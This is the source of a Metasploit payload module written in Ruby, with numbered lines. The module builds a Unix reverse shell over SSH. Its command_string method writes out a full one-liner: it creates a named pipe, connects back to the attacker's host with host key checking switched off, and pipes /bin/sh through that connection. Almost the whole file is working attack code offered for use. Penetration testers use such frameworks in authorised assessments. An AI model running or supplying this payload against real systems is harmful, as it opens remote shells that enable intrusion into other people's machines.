1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
require 'msf/core/handler/reverse_ssh'
7

8
module MetasploitModule
9
  CachedSize = :dynamic
10

11
  include Msf::Payload::Single
12
  include Msf::Sessions::CommandShellOptions
13

14
  def initialize(info = {})
15
    super(
16
      merge_info(
17
        info,
18
        'Name' => 'Unix Command Shell, Reverse TCP SSH',
19
        'Description' => 'Connect back and create a command shell via SSH',
20
        'Author' => [
21
          'RageLtMan <rageltman[at]sempervictus>', # Rex/Metasploit
22
          'hirura' # HrrRbSsh
23
        ],
24
        'License' => MSF_LICENSE,
25
        'Platform' => 'unix',
26
        'Arch' => ARCH_CMD,
27
        'Handler' => Msf::Handler::ReverseSsh,
28
        'Session' => Msf::Sessions::SshCommandShellReverse,
29
        'PayloadType' => 'cmd',
30
        'RequiredCmd' => 'ssh',
31
        'Payload' => { 'Offsets' => {}, 'Payload' => '' }
32
      )
33
    )
34
    register_advanced_options(
35
      [
36
        Msf::OptString.new('SshClientOptions', [
37
          false,
38
          'Space separated options for the ssh client',
39
          'UserKnownHostsFile=/dev/null StrictHostKeyChecking=no'
40
        ]),
41
        OptString.new('SSHPath', [true, 'The path to the SSH executable', 'ssh']),
42
        OptString.new('ShellPath', [true, 'The path to the shell to execute', '/bin/sh'])
43
      ]
44
    )
45
  end
46

47
  #
48
  # Constructs the payload
49
  #
50
  def generate(_opts = {})
51
    return super + command_string
52
  end
53

54
  #
55
  # Returns the command string to use for execution
56
  #
57
  def command_string
58
    backpipe = Rex::Text.rand_text_alpha_lower(4..8)
59
    lport = datastore['LPORT'] == 22 ? '' : "-p #{datastore['LPORT']} "
60
    opts = datastore['SshClientOptions'].blank? ? '' : datastore['SshClientOptions'].split(' ').compact.map { |e| "-o #{e} " }.join
61
    "mkfifo /tmp/#{backpipe};#{datastore['SSHPath']} -qq #{opts}#{datastore['LHOST']} #{lport}0</tmp/#{backpipe}|#{datastore['ShellPath']} >/tmp/#{backpipe} 2>&1;rm /tmp/#{backpipe}"
62
  end
63
end
64

65